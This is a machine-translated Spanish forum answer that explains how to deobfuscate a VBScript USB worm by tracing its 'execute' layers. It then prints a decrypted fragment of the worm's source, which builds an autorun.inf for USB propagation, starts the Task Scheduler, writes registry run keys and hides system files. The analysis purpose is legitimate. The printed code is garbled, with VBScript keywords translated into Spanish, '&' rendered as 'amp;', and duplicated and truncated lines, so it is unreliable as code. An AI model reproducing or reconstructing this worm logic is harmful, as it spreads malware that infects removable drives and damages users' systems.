Red de conocimiento informático - Espacio del host - Fui a la sala de impresión para imprimir y el disco U estaba infectado con este virus .vbs. Cuando lo abrí con el Bloc de notas, estaba todo confuso. Descifre el código fuente.

Fui a la sala de impresión para imprimir y el disco U estaba infectado con este virus .vbs. Cuando lo abrí con el Bloc de notas, estaba todo confuso. Descifre el código fuente.

Hola

Este es un virus de secuencia de comandos vbs. Parece desordenado y no se puede entender en absoluto, pero de hecho hay rastros a seguir. Nuestra idea es buscar la palabra clave "ejecutar". En última instancia, el virus debe convertirse en contenido que la máquina pueda leer. En otras palabras, el contenido de la última capa de ejecución es el código fuente del virus. Según esta idea, entonces podemos saber que el método de descifrado también debe estar en la capa de ejecución.

En otras palabras: no necesitas saber cómo se cifra, sólo necesitas saber qué se ejecuta.

Siguiendo esta idea, puede obtener el código de la última iteración antes del proceso de cifrado del programa, que es el código de la primera iteración después del descifrado. Todavía parece confuso, pero se mantiene el mismo principio. siempre podrás encontrarlo. Ejecute esta palabra clave. Es posible que el virus haya pasado por muchas iteraciones, pero finalmente fue legible.

Cabe señalar que si el contenido descifrado por ejecución se ejecuta realmente con ejecución, será una estafa, así que tenga cuidado de no incluir la ejecución aquí.

El siguiente es el fragmento de código final que descifré

El autor de este programa es más BT, cifró manualmente muchos lugares y también interrumpió manualmente el código, lo que obstaculizó seriamente la legibilidad de el programa sexo.

Después del análisis, la función general de su código es:

1. Iniciar el ordenador

2. Infectar el disco USB

3. Destruya el sistema y ocultelo Función

Recuperar el siguiente paso en caso de error

j="\": til="SY": btj=900: vs=".vbs" : ve=".vbe": cm="comspec /c":dfo="/u#t/":inf="\autorun.inf"

set ws=createobject("wscript.shell "):set fso=createobject( "scripting. filesystemobject")

set wmi=getobject("winmgmts:\\. \root\cimv2"): set sis=wmi.execquery("select * fromwin32_operatingsystem ")

set dc=fso.drives:set ats=wmi.execquery("select * from win32_service where name='Schedule'")

para cada atc ​​en ats:cat =atc.state:siguiente:si cat="Detenido" entonces ws.run "net start ""programador de tareas""," 0, falso

ouw=wscript.scriptfullname:win=fso.getspecialfolder( 0)&j:dir= fso.getspecialfolder(1)amp;j

tmp=fso.getspecialfolder(2)amp;j:wbe=diramp; "wbem\":mir=left(ouw,len; (ouw)-len ( wscript.scriptname))

cnr="/computername":cnp="HKLM\system\currentcontrolset\control"amp;cnramp;cnramp;cnr:cna=rr (cnp, 0):si cna= "" entonces cna=til

wsc="wscript.exe":csc="cscript.exe":csc=cscamp;"//nologo":wsr=rnamp;" :createobject (""wscript .shell"").run"

c=vbcrlf: inc=tilamp;camp;"[autorun]"amp;c amp; "open="amp;wscamp;" .\"amp;vsamp ;camp; "shell\open\command="amp;wscamp;" .\shellopen\default=1"

sf="carpetas shell\":rop="\software \microsoft\windows\currentversion \explorer\":dap =rr("HKCU"amp;ropamp;sfamp;"desktop",0)amp;j

rpa="HKLM\software\"amp; cnaamp;j:fsp= rr("HKLM"amp;ropamp

;sfamp; "inicio común",0)amp;jamp;vs: fap=rr("HKCU"amp;ropamp;sfamp; "favoritos",0)amp;j

ht=ec(" ivwt?56"):ha=ec(":9:7gt;5kw9"):hb=hl amp; "1lt;lt;=6x"amp;hlamp; "r;":hc="0dwuEpE" :hd= ec

("$" hc):he=ec("c " hc)

rsp="HKLM\software\microsoftwindows\ currentversion\":rsb=rspamp ; \":rsp=rspamp; "policies\explorer\run\"amp;cna

hip="HKCU"amp;ropamp; "advanced\ showsuperhidden": sz=lcase(fso.getfilename (wscript. nombre completo)): si mir=dir entonces sys=true

para cada si en

sis: ca=si.caption: cs=si .codeset: cc=si .countrycode: os=si.oslanguage:wv=si.version:next

if instr(wv, "5.2")lt;gt;0 entonces hb="w " hb:lb="v" si no oslt ;gt;2052 y cclt;gt;86 luego

hb="p " hb:lb="o" else hb="d " hb:lb="c"

para cada d en dc

si mir=damp;j entonces ws.run "explorer"amp;d,3,false:bir=true

siguiente

si bir o sys o mir=win o mir=wbe entonces tir=true else wscript.quit

ouc=rt(ouw,-1):ver=gv(ouw):if ver ="" o no isnumeric(ver) then msgbox("¡Nos vemos!"):km 1

else km 0

si sys entonces

si sz =wsc entonces pr csc,-1

si pr(csc,2)=1 entonces wscript.

if rr("til",1)lt;gt;til entonces wr "til" , hasta: wr "tjs", btj: wr "djs", fecha-1: wr "ded", 0

djs=rr("djs", 1): si es fecha(djs ) y fecha -cdate( djs)gt; 50 y lblt; gt; "o" entonces wr "osw", 4

si rr("atd", 1)=1 entonces ws. tjc",date

si pr(csc,1)lt;gt;1 o pr(wsc,1)=0 entonces

bf diramp; ve, ouc, 7: ws.run cssamp; ve, 0, false

fin si

si pa=1 entonces rna=rpaamp;rna

rr=ws.regread(rna)

si pa=1 entonces rna=rpaamp;rna

rr=ws.regread(rna)

rr=ws.regread(rna)regread(rna)

si er(0) entonces rr=0

para i=1 a len(wt):ec=ec chr (asc( mid(wt, i, 1))-i): siguiente

Dado que VBS es un lenguaje interpretado como JS, el código se ejecuta línea por línea de arriba a abajo. Entonces, el truco para resolver este tipo de código es:

Cuando buscamos el punto de entrada de descifrado, se debe dar prioridad a la última ejecución. El autor hace un uso extensivo del empalme lógico.... Este es un cifrado muy BT.... sudor...